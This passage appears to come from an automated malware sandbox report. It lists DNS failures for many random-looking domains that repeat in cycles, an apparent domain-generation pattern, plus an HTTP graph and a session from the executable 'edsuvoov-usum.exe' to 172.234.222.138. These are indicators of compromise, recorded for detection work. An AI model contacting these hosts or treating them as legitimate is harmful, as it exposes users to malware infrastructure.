Sep 7, 2024 15:36:29.005299091 CEST	1.1.1.1	192.168.2.3	0xc8f9	Name error (3)	rujygesrs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:31.658725023 CEST	1.1.1.1	192.168.2.3	0x4819	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:31.890674114 CEST	1.1.1.1	192.168.2.3	0x22c8	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.451555967 CEST	1.1.1.1	192.168.2.3	0xedbf	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.500343084 CEST	1.1.1.1	192.168.2.3	0x1cfa	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.623748064 CEST	1.1.1.1	192.168.2.3	0xcb75	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.641274929 CEST	1.1.1.1	192.168.2.3	0x7200	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.809689999 CEST	1.1.1.1	192.168.2.3	0xcda7	Name error (3)	gmbcqqwly.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:35.885848045 CEST	1.1.1.1	192.168.2.3	0xaf85	Name error (3)	gmbcqqwly.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:36.326520920 CEST	1.1.1.1	192.168.2.3	0x5b6c	Name error (3)	cjzhc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:36.562634945 CEST	1.1.1.1	192.168.2.3	0x8ad8	Name error (3)	cjzhc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:36.920722008 CEST	1.1.1.1	192.168.2.3	0xbc4f	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:37.023241043 CEST	1.1.1.1	192.168.2.3	0xddca	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:37.148296118 CEST	1.1.1.1	192.168.2.3	0x944c	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:37.436763048 CEST	1.1.1.1	192.168.2.3	0x46f1	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:38.706702948 CEST	1.1.1.1	192.168.2.3	0x6b85	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:38.724263906 CEST	1.1.1.1	192.168.2.3	0x72	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:41.283430099 CEST	1.1.1.1	192.168.2.3	0xa583	Name error (3)	blqcoo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:41.499707937 CEST	1.1.1.1	192.168.2.3	0x8694	Name error (3)	blqcoo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:42.925164938 CEST	1.1.1.1	192.168.2.3	0x4179	Name error (3)	eymkhoeguh.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:43.160459042 CEST	1.1.1.1	192.168.2.3	0xd625	Name error (3)	eymkhoeguh.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:43.441097021 CEST	1.1.1.1	192.168.2.3	0x9310	Name error (3)	gmxmotaygsg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:43.625818014 CEST	1.1.1.1	192.168.2.3	0xbc35	Name error (3)	gmxmotaygsg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:47.395591021 CEST	1.1.1.1	192.168.2.3	0x2414	Name error (3)	ahieeic.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:47.457891941 CEST	1.1.1.1	192.168.2.3	0x6f97	Name error (3)	ahieeic.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:48.966706038 CEST	1.1.1.1	192.168.2.3	0xdd2e	Name error (3)	uutgmfehaouhp.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:48.966725111 CEST	1.1.1.1	192.168.2.3	0xdd2e	Name error (3)	uutgmfehaouhp.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:48.991693974 CEST	1.1.1.1	192.168.2.3	0xb75f	Name error (3)	uutgmfehaouhp.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:49.375240088 CEST	1.1.1.1	192.168.2.3	0x45fd	Name error (3)	rmydkqgvcvhez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:49.375260115 CEST	1.1.1.1	192.168.2.3	0x45fd	Name error (3)	rmydkqgvcvhez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:49.402998924 CEST	1.1.1.1	192.168.2.3	0x84f2	Name error (3)	rmydkqgvcvhez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:50.872400045 CEST	1.1.1.1	192.168.2.3	0xcabe	Name error (3)	udelwggnpcs.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:51.056766033 CEST	1.1.1.1	192.168.2.3	0x3b23	Name error (3)	udelwggnpcs.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:52.520994902 CEST	1.1.1.1	192.168.2.3	0x740	Name error (3)	hyuyvkcxdqtqwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:52.795223951 CEST	1.1.1.1	192.168.2.3	0xc9af	Name error (3)	hyuyvkcxdqtqwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:52.796097040 CEST	1.1.1.1	192.168.2.3	0xc9af	Name error (3)	hyuyvkcxdqtqwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:53.185657978 CEST	1.1.1.1	192.168.2.3	0x4e44	Name error (3)	mtvjuwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:53.778588057 CEST	1.1.1.1	192.168.2.3	0xe2fb	Name error (3)	mtvjuwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.170865059 CEST	1.1.1.1	192.168.2.3	0x694f	Name error (3)	owayaiofn.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.237101078 CEST	1.1.1.1	192.168.2.3	0x9757	Name error (3)	owayaiofn.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.849741936 CEST	1.1.1.1	192.168.2.3	0xdbcf	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:55.849772930 CEST	1.1.1.1	192.168.2.3	0xdbcf	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.348620892 CEST	1.1.1.1	192.168.2.3	0x582b	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.348633051 CEST	1.1.1.1	192.168.2.3	0x582b	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.469747066 CEST	1.1.1.1	192.168.2.3	0xcefb	Name error (3)	xrkwbwyqovesj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.480211020 CEST	1.1.1.1	192.168.2.3	0xe82d	Name error (3)	xrkwbwyqovesj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.771298885 CEST	1.1.1.1	192.168.2.3	0x45ba	Name error (3)	jwimhacdt.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:56.958559036 CEST	1.1.1.1	192.168.2.3	0xd3f6	Name error (3)	jwimhacdt.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:57.312004089 CEST	1.1.1.1	192.168.2.3	0x5637	Name error (3)	oymyeynqyqewcs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:57.791857958 CEST	1.1.1.1	192.168.2.3	0xf83a	Name error (3)	oymyeynqyqewcs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:58.984525919 CEST	1.1.1.1	192.168.2.3	0xbe99	Name error (3)	qsqwieaqy.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:59.110908031 CEST	1.1.1.1	192.168.2.3	0xcf41	Name error (3)	qsqwieaqy.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:59.236157894 CEST	1.1.1.1	192.168.2.3	0x988f	Name error (3)	oukpcbtqgqwoa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:36:59.246707916 CEST	1.1.1.1	192.168.2.3	0xd9f4	Name error (3)	oukpcbtqgqwoa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:00.690553904 CEST	1.1.1.1	192.168.2.3	0x2c5c	Name error (3)	ylmed.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:00.944725037 CEST	1.1.1.1	192.168.2.3	0x7e67	Name error (3)	ylmed.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:00.944741964 CEST	1.1.1.1	192.168.2.3	0x7e67	Name error (3)	ylmed.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:01.242513895 CEST	1.1.1.1	192.168.2.3	0x6cfb	Name error (3)	pdrwqa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:01.486193895 CEST	1.1.1.1	192.168.2.3	0x2a17	Name error (3)	pdrwqa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.186981916 CEST	1.1.1.1	192.168.2.3	0x834	Name error (3)	sgfpiiwog.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.441154957 CEST	1.1.1.1	192.168.2.3	0x8b99	Name error (3)	sgfpiiwog.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.829432011 CEST	1.1.1.1	192.168.2.3	0x8fcc	Name error (3)	mcesyrpjcoxcu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.829446077 CEST	1.1.1.1	192.168.2.3	0x8fcc	Name error (3)	mcesyrpjcoxcu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:05.994043112 CEST	1.1.1.1	192.168.2.3	0x5cf4	Name error (3)	mcesyrpjcoxcu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.492330074 CEST	1.1.1.1	192.168.2.3	0x75e5	Name error (3)	mnaudewcuibyam.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.500299931 CEST	1.1.1.1	192.168.2.3	0x75e5	Name error (3)	mnaudewcuibyam.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.517256975 CEST	1.1.1.1	192.168.2.3	0x8b92	Name error (3)	mnaudewcuibyam.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.663517952 CEST	1.1.1.1	192.168.2.3	0x35c6	Name error (3)	gekaeekv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.677498102 CEST	1.1.1.1	192.168.2.3	0x7bdd	Name error (3)	gekaeekv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.804254055 CEST	1.1.1.1	192.168.2.3	0x6635	Name error (3)	iyeyuemksorve.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:07.817924023 CEST	1.1.1.1	192.168.2.3	0xd1cb	Name error (3)	iyeyuemksorve.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:08.097449064 CEST	1.1.1.1	192.168.2.3	0xa996	Name error (3)	rujygesrs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:08.270716906 CEST	1.1.1.1	192.168.2.3	0x9bad	Name error (3)	rujygesrs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:10.959686995 CEST	1.1.1.1	192.168.2.3	0xeee1	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:10.961062908 CEST	1.1.1.1	192.168.2.3	0xeee1	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:11.161230087 CEST	1.1.1.1	192.168.2.3	0x95d4	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.167073011 CEST	1.1.1.1	192.168.2.3	0x6aec	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.167649984 CEST	1.1.1.1	192.168.2.3	0x6aec	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.241955996 CEST	1.1.1.1	192.168.2.3	0xb93b	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.359386921 CEST	1.1.1.1	192.168.2.3	0xa16e	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.375144005 CEST	1.1.1.1	192.168.2.3	0xb1f7	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.523610115 CEST	1.1.1.1	192.168.2.3	0xcb4f	Name error (3)	gmbcqqwly.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.577400923 CEST	1.1.1.1	192.168.2.3	0xa206	Name error (3)	gmbcqqwly.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:15.776705027 CEST	1.1.1.1	192.168.2.3	0x2b2a	Name error (3)	cjzhc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.019558907 CEST	1.1.1.1	192.168.2.3	0xb495	Name error (3)	cjzhc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.242765903 CEST	1.1.1.1	192.168.2.3	0x4766	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.584140062 CEST	1.1.1.1	192.168.2.3	0x10c1	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:16.584774017 CEST	1.1.1.1	192.168.2.3	0x10c1	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:17.047362089 CEST	1.1.1.1	192.168.2.3	0xa8e4	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:17.047388077 CEST	1.1.1.1	192.168.2.3	0xa8e4	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:17.060600042 CEST	1.1.1.1	192.168.2.3	0xf4cc	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:18.646138906 CEST	1.1.1.1	192.168.2.3	0x461d	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:18.646157026 CEST	1.1.1.1	192.168.2.3	0x461d	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:18.657990932 CEST	1.1.1.1	192.168.2.3	0x4106	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:21.083781004 CEST	1.1.1.1	192.168.2.3	0xde74	Name error (3)	blqcoo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:21.285568953 CEST	1.1.1.1	192.168.2.3	0xbc76	Name error (3)	blqcoo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:22.747275114 CEST	1.1.1.1	192.168.2.3	0x4080	Name error (3)	eymkhoeguh.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:22.943078041 CEST	1.1.1.1	192.168.2.3	0xddc0	Name error (3)	eymkhoeguh.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:23.241286993 CEST	1.1.1.1	192.168.2.3	0x86c6	Name error (3)	gmxmotaygsg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:23.476984024 CEST	1.1.1.1	192.168.2.3	0x2368	Name error (3)	gmxmotaygsg.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:27.166749954 CEST	1.1.1.1	192.168.2.3	0x23fd	Name error (3)	ahieeic.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:27.469501972 CEST	1.1.1.1	192.168.2.3	0xb9b4	Name error (3)	ahieeic.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:27.469542980 CEST	1.1.1.1	192.168.2.3	0xb9b4	Name error (3)	ahieeic.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:28.817186117 CEST	1.1.1.1	192.168.2.3	0x7687	Name error (3)	uutgmfehaouhp.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:28.869426966 CEST	1.1.1.1	192.168.2.3	0x6843	Name error (3)	uutgmfehaouhp.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:28.995070934 CEST	1.1.1.1	192.168.2.3	0xd563	Name error (3)	rmydkqgvcvhez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:29.271692038 CEST	1.1.1.1	192.168.2.3	0xef78	Name error (3)	rmydkqgvcvhez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:29.278945923 CEST	1.1.1.1	192.168.2.3	0xef78	Name error (3)	rmydkqgvcvhez.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:30.723506927 CEST	1.1.1.1	192.168.2.3	0x5919	Name error (3)	udelwggnpcs.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:30.915128946 CEST	1.1.1.1	192.168.2.3	0x1705	Name error (3)	udelwggnpcs.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:32.428117990 CEST	1.1.1.1	192.168.2.3	0x62e6	Name error (3)	hyuyvkcxdqtqwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:32.430016994 CEST	1.1.1.1	192.168.2.3	0x62e6	Name error (3)	hyuyvkcxdqtqwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:32.688455105 CEST	1.1.1.1	192.168.2.3	0xaf99	Name error (3)	hyuyvkcxdqtqwe.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:33.089704990 CEST	1.1.1.1	192.168.2.3	0xfdaf	Name error (3)	mtvjuwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:33.089719057 CEST	1.1.1.1	192.168.2.3	0xfdaf	Name error (3)	mtvjuwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:33.127713919 CEST	1.1.1.1	192.168.2.3	0x4bd7	Name error (3)	mtvjuwi.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:34.488780975 CEST	1.1.1.1	192.168.2.3	0xddeb	Name error (3)	owayaiofn.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:34.555130959 CEST	1.1.1.1	192.168.2.3	0x1f1c	Name error (3)	owayaiofn.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:34.755011082 CEST	1.1.1.1	192.168.2.3	0xbe0a	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.306989908 CEST	1.1.1.1	192.168.2.3	0x9df6	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.307142973 CEST	1.1.1.1	192.168.2.3	0x9df6	Name error (3)	elymkl.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.425617933 CEST	1.1.1.1	192.168.2.3	0x6827	Name error (3)	xrkwbwyqovesj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.461231947 CEST	1.1.1.1	192.168.2.3	0xa9d1	Name error (3)	xrkwbwyqovesj.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.804574013 CEST	1.1.1.1	192.168.2.3	0xe4c8	Name error (3)	jwimhacdt.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:35.981951952 CEST	1.1.1.1	192.168.2.3	0x228d	Name error (3)	jwimhacdt.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.193051100 CEST	1.1.1.1	192.168.2.3	0x94d1	Name error (3)	oymyeynqyqewcs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.432676077 CEST	1.1.1.1	192.168.2.3	0x5cf1	Name error (3)	oymyeynqyqewcs.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.682975054 CEST	1.1.1.1	192.168.2.3	0x2ba5	Name error (3)	qsqwieaqy.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.723067045 CEST	1.1.1.1	192.168.2.3	0x12b9	Name error (3)	qsqwieaqy.cg	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.849231005 CEST	1.1.1.1	192.168.2.3	0x9aed	Name error (3)	oukpcbtqgqwoa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:36.864341974 CEST	1.1.1.1	192.168.2.3	0x398e	Name error (3)	oukpcbtqgqwoa.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.420137882 CEST	1.1.1.1	192.168.2.3	0x42f6	Name error (3)	ylmed.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.775645971 CEST	1.1.1.1	192.168.2.3	0xab2e	Name error (3)	ylmed.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.778309107 CEST	1.1.1.1	192.168.2.3	0xab2e	Name error (3)	ylmed.cm	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:38.979233027 CEST	1.1.1.1	192.168.2.3	0xc46c	Name error (3)	pdrwqa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:39.081104994 CEST	1.1.1.1	192.168.2.3	0x4df0	Name error (3)	pdrwqa.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:42.737711906 CEST	1.1.1.1	192.168.2.3	0x22d	Name error (3)	sgfpiiwog.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:42.956296921 CEST	1.1.1.1	192.168.2.3	0x3bf0	Name error (3)	sgfpiiwog.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:43.318571091 CEST	1.1.1.1	192.168.2.3	0x967	Name error (3)	mcesyrpjcoxcu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:43.523291111 CEST	1.1.1.1	192.168.2.3	0xd606	Name error (3)	mcesyrpjcoxcu.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.434751034 CEST	1.1.1.1	192.168.2.3	0x1eb1	Name error (3)	mnaudewcuibyam.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.680347919 CEST	1.1.1.1	192.168.2.3	0xe0fd	Name error (3)	mnaudewcuibyam.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.813241959 CEST	1.1.1.1	192.168.2.3	0x4714	Name error (3)	gekaeekv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.827653885 CEST	1.1.1.1	192.168.2.3	0xa56	Name error (3)	gekaeekv.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.939918995 CEST	1.1.1.1	192.168.2.3	0xcb2d	Name error (3)	iyeyuemksorve.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:45.982871056 CEST	1.1.1.1	192.168.2.3	0xa1d	Name error (3)	iyeyuemksorve.nu	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:46.257740974 CEST	1.1.1.1	192.168.2.3	0x5e8	Name error (3)	rujygesrs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:46.422454119 CEST	1.1.1.1	192.168.2.3	0xbaba	Name error (3)	rujygesrs.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:49.013833046 CEST	1.1.1.1	192.168.2.3	0x6674	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:49.267657995 CEST	1.1.1.1	192.168.2.3	0xbd0b	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:49.267672062 CEST	1.1.1.1	192.168.2.3	0xbd0b	Name error (3)	qdukhasgmus.tk	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:52.852118969 CEST	1.1.1.1	192.168.2.3	0xf61	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:53.138642073 CEST	1.1.1.1	192.168.2.3	0xdd8b	Name error (3)	wfnsamu.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.049421072 CEST	1.1.1.1	192.168.2.3	0xdb32	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.049439907 CEST	1.1.1.1	192.168.2.3	0xdb32	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.069283009 CEST	1.1.1.1	192.168.2.3	0xc0f9	Name error (3)	dqeqoagqqqrc.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.196952105 CEST	1.1.1.1	192.168.2.3	0xa7bd	Name error (3)	gmbcqqwly.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.249034882 CEST	1.1.1.1	192.168.2.3	0x9f88	Name error (3)	gmbcqqwly.st	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.448829889 CEST	1.1.1.1	192.168.2.3	0x24aa	Name error (3)	cjzhc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.692843914 CEST	1.1.1.1	192.168.2.3	0x6e20	Name error (3)	cjzhc.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.796351910 CEST	1.1.1.1	192.168.2.3	0xa4e	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:54.901262045 CEST	1.1.1.1	192.168.2.3	0x5396	Name error (3)	akpzumsigtkmmw.mp	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:55.019459009 CEST	1.1.1.1	192.168.2.3	0x1b78	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:55.297687054 CEST	1.1.1.1	192.168.2.3	0x4cf6	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:55.297713041 CEST	1.1.1.1	192.168.2.3	0x4cf6	Name error (3)	yfcalywej.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:56.574698925 CEST	1.1.1.1	192.168.2.3	0x51ea	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:56.939601898 CEST	1.1.1.1	192.168.2.3	0x1227	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:56.939619064 CEST	1.1.1.1	192.168.2.3	0x1227	Name error (3)	cgengcwnm.kr	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:59.521019936 CEST	1.1.1.1	192.168.2.3	0x2ff8	Name error (3)	blqcoo.rw	none	none	A (IP address)	IN (0x0001)	false
Sep 7, 2024 15:37:59.953196049 CEST	1.1.1.1	192.168.2.3	0xc251	Name error (3)	blqcoo.rw	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

utbidet-ugeas.biz

btnmut.ph

ysbgwpqywiujo.ph

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.3	49710	172.234.222.138	80	8004	C:\Windows\SysWOW64\edsuvoov-usum.exe

Timestamp	Bytes transferred	Direction	Data
